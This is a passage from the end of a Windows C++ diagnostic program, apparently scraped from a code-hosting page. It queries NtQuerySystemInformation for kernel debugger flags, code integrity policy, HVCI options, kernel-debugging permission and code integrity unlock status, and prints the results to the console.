||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemKernelDebuggerFlags: error %08X\n\n", Status);
|
||||
else
|
||||
Printf(L"SystemKernelDebuggerFlags: 0x%02X\n\n", KernelDebuggerFlags);
|
||||
|
||||
SYSTEM_CODEINTEGRITYPOLICY_INFORMATION CodeIntegrityPolicyInfo = { 0 };
|
||||
Status = NtQuerySystemInformation(SystemCodeIntegrityPolicyInformation,
|
||||
&CodeIntegrityPolicyInfo,
|
||||
sizeof(CodeIntegrityPolicyInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemCodeIntegrityPolicyInformation: error %08X\n\n", Status);
|
||||
else
|
||||
Printf(L"SystemCodeIntegrityPolicyInformation:\n\t- Options: 0x%04X\n\t- HVCIOptions: 0x%04X\n\n",
|
||||
CodeIntegrityPolicyInfo.Options, CodeIntegrityPolicyInfo.HVCIOptions);
|
||||
|
||||
#if 0 // Requires a file handle. Also not sure what if anything this is supposed to return
|
||||
SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION CodeIntegrityCertInfo;
|
||||
Status = NtQuerySystemInformation(SystemCodeIntegrityCertificateInformation,
|
||||
&CodeIntegrityCertInfo,
|
||||
sizeof(CodeIntegrityCertInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemCodeIntegrityCertificateInformation: error %08X\n\n", Status);
|
||||
#endif
|
||||
|
||||
BOOLEAN KernelDebuggingAllowed = FALSE; // No idea if BOOLEAN is correct since size must be 0
|
||||
Status = NtQuerySystemInformation(SystemKernelDebuggingAllowed,
|
||||
&KernelDebuggingAllowed,
|
||||
0,
|
||||
nullptr);
|
||||
if (Status == STATUS_SECUREBOOT_NOT_ENABLED)
|
||||
Printf(L"SystemKernelDebuggingAllowed: STATUS_SECUREBOOT_NOT_ENABLED\n\n");
|
||||
else if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemKernelDebuggingAllowed: error %08X\n\n", Status);
|
||||
else
|
||||
Printf(L"SystemKernelDebuggingAllowed: %u\n\n", KernelDebuggingAllowed);
|
||||
|
||||
// NB: in RS3, this changed to require size 36 (from 4). Output is still all zeroes
|
||||
SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION CodeIntegrityUnlockInfos[9] = { 0 };
|
||||
UCHAR Zeroes[sizeof(CodeIntegrityUnlockInfos)] = { 0 };
|
||||
Status = NtQuerySystemInformation(SystemCodeIntegrityUnlockInformation,
|
||||
&CodeIntegrityUnlockInfos[0],
|
||||
sizeof(CodeIntegrityUnlockInfos),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"SystemCodeIntegrityUnlockInformation: error %08X\n\n", Status);
|
||||
else if (memcmp(CodeIntegrityUnlockInfos, Zeroes, sizeof(CodeIntegrityUnlockInfos)) == 0)
|
||||
{
|
||||
Printf(L"SystemCodeIntegrityUnlockInformation: 0\n\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
// This has to be incorrect, but leave it in just in case the output changes to something non-zero later
|
||||
for (ULONG i = 0; i < ARRAYSIZE(CodeIntegrityUnlockInfos); ++i)
|
||||
{
|
||||
const SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION CodeIntegrityUnlockInfo = CodeIntegrityUnlockInfos[i];
|
||||
Printf(L"SystemCodeIntegrityUnlockInformation:\n\t- Locked: %u"
|
||||
L"\n\t- Unlockable: %u\n\t- UnlockApplied: %u\n\t- Flags: %04X\n\n",
|
||||
CodeIntegrityUnlockInfo.u1.s1.Locked, CodeIntegrityUnlockInfo.u1.s1.Unlockable,
|
||||
CodeIntegrityUnlockInfo.u1.s1.UnlockApplied, CodeIntegrityUnlockInfo.u1.Flags);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Make it so the console doesn't go away immediately when opening the exe from explorer
|
||||
Printf(L"Press any key to exit.\n");
|
||||
WaitForKey();
|
||||
|
||||
return Status;
|
||||
}
|
||||
Reference in New Issue
Block a user